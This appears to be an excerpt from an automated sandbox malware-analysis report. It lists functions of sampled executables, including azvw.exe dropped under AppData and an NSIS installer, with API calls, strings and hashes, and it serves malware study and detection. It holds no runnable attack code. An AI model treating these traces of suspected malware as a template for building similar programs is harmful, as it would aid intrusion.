MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?), ref: 004189C1
GetStringTypeW.KERNEL32(?,?,00000000,?,?,?), ref: 004189D3

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID:
API String ID: 3852931651-0
Opcode ID: b6fc29cc1fe91b7363b8991f027c7948fc37d024faef256876d7a34b7c7ad979
Instruction ID: 45773244ba3084bfe591248ee5288dd1411f43dfdcda665af45e3c3989b1d248
Opcode Fuzzy Hash: b6fc29cc1fe91b7363b8991f027c7948fc37d024faef256876d7a34b7c7ad979
Instruction Fuzzy Hash: BA417BB2600219AFCF208F95DC86AEF7B79FB08750F10492AF911D2250C77989918B9A

Function 004174ED Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 0041750C
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00417541
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004175A1

Strings

__GLOBAL_HEAP_SELECTED, xrefs: 0041757B
__MSVCRT_HEAP_SELECT, xrefs: 0041753C

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: 3eaa5e944d136b0007a8d9a645e7be42f59fb39eb476563cdd890dddd771b81e
Instruction ID: 85bddbf609848ad88969b96e0ec2a342a30041935dc8ecfc60b45b29f21cca6b
Opcode Fuzzy Hash: 3eaa5e944d136b0007a8d9a645e7be42f59fb39eb476563cdd890dddd771b81e
Instruction Fuzzy Hash: F4317B7184E2587DEB3186746C55BEF3B798B02354F2404DBD189C6242E63C9EC6CB1D

Function 004126E0 Relevance: 7.6, APIs: 5, Instructions: 134COMMON

Download Yara Rule

APIs

IsValidSecurityDescriptor.ADVAPI32(?,00000000,00000000,?,00000000,0040FA5A,?,?,00000000), ref: 00412726

Part of subcall function 00412550: CreateMutexA.KERNEL32(00000000,00000001,00000000,?,00000000,00000000,00412334), ref: 00412566

GetSecurityDescriptorControl.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,7591E010), ref: 00412747

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: DescriptorSecurity$ControlCreateMutexValid
String ID:
API String ID: 5382943-0
Opcode ID: 7a40a00d7cc83c6fb11208a9676cb8a6778e7d7d4183abda0f0fc39d63e3b559
Instruction ID: ce17b90b339484897982068a113a1875571977018ad8679ec67858a3e104fd9b
Opcode Fuzzy Hash: 7a40a00d7cc83c6fb11208a9676cb8a6778e7d7d4183abda0f0fc39d63e3b559
Instruction Fuzzy Hash: 434116363043014BE720DF69EE84BE7B7D4EBC0764F54082EED64C7390D6B9E85986A5

Function 0041831D Relevance: 7.5, APIs: 2, Strings: 3, Instructions: 27memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualFree.KERNEL32(000000FF,00000000,00008000,hB,0041841D,hB,7591DFF0,?,00000000,?,?,004184CF,00000010,00413378,?,?), ref: 0041832C
HeapFree.KERNEL32(00000000,?,?,004184CF,00000010,00413378,?,?), ref: 00418362

Strings

hB, xrefs: 00418342
hB, xrefs: 0041831D
hB, xrefs: 00418332, 0041833D

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: Free$HeapVirtual
String ID: hB$hB$hB
API String ID: 3783212868-3407773006
Opcode ID: ac2766d890ba760c26cec665f9c93e8237cd86e774a741f4bb10f7a7867d9e1f
Instruction ID: f7fd38735fced4e952862f77377cc11919846e26e52132b364c2a56e16ac4255
Opcode Fuzzy Hash: ac2766d890ba760c26cec665f9c93e8237cd86e774a741f4bb10f7a7867d9e1f
Instruction Fuzzy Hash: 3DF03A74601310DFC3249F18EC84B967BF0FB08B10B21842DE5A5573A0C771AC81CB48

Function 00412A38 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 82COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(00412B44,00000001,?,?,?,0040103D,00000002,004076E0,00000002,00428D60,?,?,?,?,?,00401014), ref: 00412AC8
GetLastError.KERNEL32(?,?,?,0040103D,00000002,004076E0,00000002,00428D60,?,?,?,?,?,00401014,?,?), ref: 00412AF7

Strings

v@, xrefs: 00412B21, 00412B27
v@, xrefs: 00412B2F, 00412B35

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: ConsoleCtrlErrorHandlerLast
String ID: v@$v@
API String ID: 3113525192-2252294108
Opcode ID: be862bb647b63607e7147e6a5487d70ccdf36829498479ed286d36be58b49362
Instruction ID: 36fa8ff7c152ed876fc65d5f67174a495ff5afcdeb0d815e8b9c8bd107a64320
Opcode Fuzzy Hash: be862bb647b63607e7147e6a5487d70ccdf36829498479ed286d36be58b49362
Instruction Fuzzy Hash: EE219131A155108B8A398F08DA885EAB762ABA1350799422BC805C73B0D6F86CE6C78D

Function 00414878 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 0041489E

Part of subcall function 00417635: HeapCreate.KERNELBASE(00000000,00001000,00000000,004148D6,00000000), ref: 00417646
Part of subcall function 00417635: HeapDestroy.KERNEL32 ref: 00417685

GetCommandLineA.KERNEL32 ref: 004148EC

Strings

0?m, xrefs: 004148F2
p?W, xrefs: 00414910

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: Heap$CommandCreateDestroyLineVersion
String ID: 0?m$p?W
API String ID: 380418793-2012332794
Opcode ID: 53cb6a2e33b43d3e746f44d824cede3df95076df898fab41908b02af978c95f0
Instruction ID: 610b4beb7cdddbb7dcae773a6b473d71e334a56a1981e3a69ac621e6592c7341
Opcode Fuzzy Hash: 53cb6a2e33b43d3e746f44d824cede3df95076df898fab41908b02af978c95f0
Instruction Fuzzy Hash: 6201C0B1A11601ABD718AF6ADC067AE7AB8FB68344F80413FF914822E1DF3808418B5D

Function 00414564 Relevance: 6.5, APIs: 5, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 427a3472328d7d1c61610fd7d40306d59065ffd795d00f0f890eeb67c1721805
Instruction ID: 459714ddabeffe01b96583aa82163a16ed5fdc408948e7cab0404e7047e2aba0
Opcode Fuzzy Hash: 427a3472328d7d1c61610fd7d40306d59065ffd795d00f0f890eeb67c1721805
Instruction Fuzzy Hash: F57116365002106BDB226A65CC40BEF3A25EBD27A8F250127FC289A2D0DB3DDDC1969C

Function 0041CF38 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,0041C6AA,00000000,00000000,7591DF80,00000000), ref: 0041CF0C
WideCharToMultiByte.KERNEL32(?,00000220,?,?,?,?,00000000,00000000), ref: 0041CF66
WideCharToMultiByte.KERNEL32(?,00000220,?,?,00000000,00000000,00000000,00000000), ref: 0041CF7E
WideCharToMultiByte.KERNEL32(?,00000220,?,?,?,?,00000000,00000000), ref: 0041CFD6
CompareStringA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000), ref: 0041CFF4

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: ByteCharMultiWide$CompareString
String ID:
API String ID: 376665442-0
Opcode ID: dbaede760fa393ef53ab3c1242556b367d8345edddc8a848cdddf23556fa72f6
Instruction ID: 9864fccd20358ca3471ff816892f761ab08e69d42232d9cc94e5ed20e2ccf262
Opcode Fuzzy Hash: dbaede760fa393ef53ab3c1242556b367d8345edddc8a848cdddf23556fa72f6
Instruction Fuzzy Hash: A821D572900259EBCF228F96CC85DDFBF76FF89750F24811AF91061260D33A8961EB64

Function 0041ACD3 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000001,00000000,00000002,00000002,00000002,?,00000002,00428D60,0040114F), ref: 0041AD02
MultiByteToWideChar.KERNEL32(?,00000009,00428D60,00000002,00000000,00000000,?,00000002,00428D60,0040114F), ref: 0041AD15
MultiByteToWideChar.KERNEL32(?,00000001,00428D60,00000002,?,00000000,?,00000002,00428D60,0040114F), ref: 0041AD61
CompareStringW.KERNEL32(?,?,00000000,00000002,?,00000000,?,00000000,?,00000002,00428D60,0040114F), ref: 0041AD79

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: ByteCharMultiWide$CompareString
String ID:
API String ID: 376665442-0
Opcode ID: 2702ab6cdf56d2763e6d62c6ecf4a2ed95136fa1c4226cc5a579848ba68c566b
Instruction ID: 96f580f69b9e3dcf2c1ef1fcae33e3ea1998bfe1201ed0f81b595f9675030ecf
Opcode Fuzzy Hash: 2702ab6cdf56d2763e6d62c6ecf4a2ed95136fa1c4226cc5a579848ba68c566b
Instruction Fuzzy Hash: DD212932D01659EBCF218FD5DC459DEBFB6FF48360F10412AFA10622A0C3369962DB96

Function 00415471 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 00415485

Strings

, xrefs: 004154CE
, xrefs: 004154AA

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: 206481e3e4300311258317caa61d1883e1de100da41eb334363ef2002a580eda
Instruction ID: 0d18aeb077521f4644a221a408f67d066500747ada27a7292fb7ec63da0fa870
Opcode Fuzzy Hash: 206481e3e4300311258317caa61d1883e1de100da41eb334363ef2002a580eda
Instruction Fuzzy Hash: 0D419C31144698AFEB258B14CD49BFB3FABEB45704F1410E6D189C7252C23D49D8CBAB

Function 0040FB60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(4F020EB0,4F020EB0,?), ref: 0040FC80
LocalFileTimeToFileTime.KERNEL32(?,?,?,?,0040F775,?,?,?), ref: 0040FC90

Part of subcall function 0040FCE0: SystemTimeToFileTime.KERNEL32(?,?,00000000,?,?,0040FC29,?,?,00000001), ref: 0040FD9F
Part of subcall function 0040FCE0: LocalFileTimeToFileTime.KERNEL32(?,?,?,?,0040FC29,?,?,00000001), ref: 0040FDAF

Strings

nircmdc.exe, xrefs: 0040FB65

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: Time$File$Local$DateSystem
String ID: nircmdc.exe
API String ID: 906138043-3082794360
Opcode ID: ac9c37c9d280e7aeeecda865d65c29ca38083135dfc648224f3fac08bf768192
Instruction ID: 5baf95fb76d08c68963974afa87817b976a97d3decfcf36862cfafa69845cedb
Opcode Fuzzy Hash: ac9c37c9d280e7aeeecda865d65c29ca38083135dfc648224f3fac08bf768192
Instruction Fuzzy Hash: 353184B99583045BE224DB14DC46A6773E8FB88704F04493DFD4467391D279ED09CBAA

Function 00419E05 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 62COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe,00000104,?,?,?,?,?,?,00414906), ref: 00419E28

Strings

C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe, xrefs: 00419E1C, 00419E26, 00419E4B, 00419E81
0?m, xrefs: 00419E2E

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: FileModuleName
String ID: 0?m$C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe
API String ID: 514040917-3258136295
Opcode ID: 69411218f1c94a6dd42d14112d01cc6fa211bfa7316ed4987b16ed9e76e8abc8
Instruction ID: 7408305981f393a2461c7ea777b88d73264b4f52652a7915fef0a583e634ad3b
Opcode Fuzzy Hash: 69411218f1c94a6dd42d14112d01cc6fa211bfa7316ed4987b16ed9e76e8abc8
Instruction Fuzzy Hash: 9C118FB2900218BFDB11EB95CC81CDF77ACEA44358B0000AFF50193241EA34AE458BA4

Function 00402660 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

CharToOemA.USER32(00000000,00000000), ref: 004026A9
OemToCharA.USER32(00000000,00000000), ref: 004026C7

Strings

%@, xrefs: 00402666, 0040266D, 004026B0, 004026CE

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: Char
String ID: %@
API String ID: 751630497-2048787947
Opcode ID: 6e380c911fb415733835f5aa260d4525884f8dd25feb0fab7b4cd8439c7f1fe2
Instruction ID: b3c2b64b661b7efdf6035ac58ec0d7cccb6eb28b1d05d5fc9c221f85c97273e9
Opcode Fuzzy Hash: 6e380c911fb415733835f5aa260d4525884f8dd25feb0fab7b4cd8439c7f1fe2
Instruction Fuzzy Hash: 7201F77B50111033CA1057767D4A89B3B68EAC13727184A3AFD19973D2EABEDC0193B9

Function 004148DB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 0041497C: ExitProcess.KERNEL32 ref: 00414999

Part of subcall function 00418AC8: GetStartupInfoA.KERNEL32(?), ref: 00418B21
Part of subcall function 00418AC8: GetFileType.KERNEL32(00000800), ref: 00418BC7

GetCommandLineA.KERNEL32 ref: 004148EC

Part of subcall function 0041A052: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,004148FC), ref: 0041A06D
Part of subcall function 0041A052: GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,004148FC), ref: 0041A0AD
Part of subcall function 0041A052: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?,004148FC), ref: 0041A0E5
Part of subcall function 0041A052: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,004148FC), ref: 0041A107
Part of subcall function 0041A052: FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,?,?,004148FC), ref: 0041A120

Part of subcall function 00419E05: GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Roaming\DolphinDumps\azvw.exe,00000104,?,?,?,?,?,?,00414906), ref: 00419E28

Strings

0?m, xrefs: 004148F2
p?W, xrefs: 00414910

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFileMultiWide$CommandExitFreeInfoLineModuleNameProcessStartupType
String ID: 0?m$p?W
API String ID: 3035132275-2012332794
Opcode ID: 3358fd71c18e52bf8753f7553ec77d9a6f45251d019d7f0cbf8b29ef5068fb17
Instruction ID: ea6fa02a5da030dc8a813d72d8730ab7c23149c4ece309ab7dc01526205c9549
Opcode Fuzzy Hash: 3358fd71c18e52bf8753f7553ec77d9a6f45251d019d7f0cbf8b29ef5068fb17
Instruction Fuzzy Hash: E3F049B49112009FEB14BFB2E8069ED37B4FB58309B50002FF801972A1DF394880CB2D

Function 00411B10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14COMMON

Download Yara Rule

APIs

GetDriveTypeA.KERNEL32(-00000060,0041179E,-00000060,?,00000000), ref: 00411B2E

Strings

:, xrefs: 00411B1F
/, xrefs: 00411B24

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: DriveType
String ID: /$:
API String ID: 338552980-4222935259
Opcode ID: 1bab22ddc8c8ab6719041f6db9f46d6405986c177cfcddc1ce3f0d567b452f07
Instruction ID: a07ccfaa741e44cdb586d8d66076ba6bd627a13065fdecee1af11a2a6ee7f3a9
Opcode Fuzzy Hash: 1bab22ddc8c8ab6719041f6db9f46d6405986c177cfcddc1ce3f0d567b452f07
Instruction Fuzzy Hash: DAD0175520C3C1ADE3068738855839EBFD24FE6248F08C89CF0CD46197C274868AD32B

Function 00417D37 Relevance: 5.1, APIs: 4, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

HeapReAlloc.KERNEL32(00000000,00000050,?,00000000,00417AFF,?,?,?,00000100), ref: 00417D5F
HeapAlloc.KERNEL32(00000008,000041C4,?,00000000,00417AFF,?,?,?,00000100), ref: 00417D93
VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004,?,00000000,00417AFF,?,?,?,00000100), ref: 00417DAD
HeapFree.KERNEL32(00000000,?,?,00000000,00417AFF,?,?,?,00000100), ref: 00417DC4

Memory Dump Source

Source File: 00000034.00000002.2795391480.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000034.00000002.2795316110.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795414368.000000000041E000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795472621.0000000000425000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000034.00000002.2795490555.0000000000428000.00000004.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_400000_azvw.jbxd

Similarity

API ID: AllocHeap$FreeVirtual
String ID:
API String ID: 3499195154-0
Opcode ID: 33001df4db496528ad52e2b10be87e81acbf967580db6c9781919396473561c5
Instruction ID: 19d746281750a9b93ecae615901eefe1d66095e7a60d7e67be2a35289f352c6c
Opcode Fuzzy Hash: 33001df4db496528ad52e2b10be87e81acbf967580db6c9781919396473561c5
Instruction Fuzzy Hash: 9811CE74240300AFC335CF19EC88AA27BB2FB98314710493DF2A2C31B0D3759966DB5A

Analysis Process: RevenueDevices.exePID: 4012, Parent PID: 5544COMMON

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1526
Total number of Limit Nodes:	33

Executed Functions

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

NCRC, xrefs: 0040397C
1C, xrefs: 00403B56
SeShutdownPrivilege, xrefs: 00403C16
_?=, xrefs: 00403A64
~nsu.tmp, xrefs: 00403AF7
Error launching installer, xrefs: 00403A7D
\Temp, xrefs: 00403A1B
NSIS Error, xrefs: 004038E2
/D=, xrefs: 004039A6

Memory Dump Source

Source File: 00000058.00000002.3140116988.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000058.00000002.3140089029.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140154893.0000000000408000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000040B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000058.00000002.3140189526.000000000041F000.00000004.00000001.01000000.0000000C.sdmpDownload File
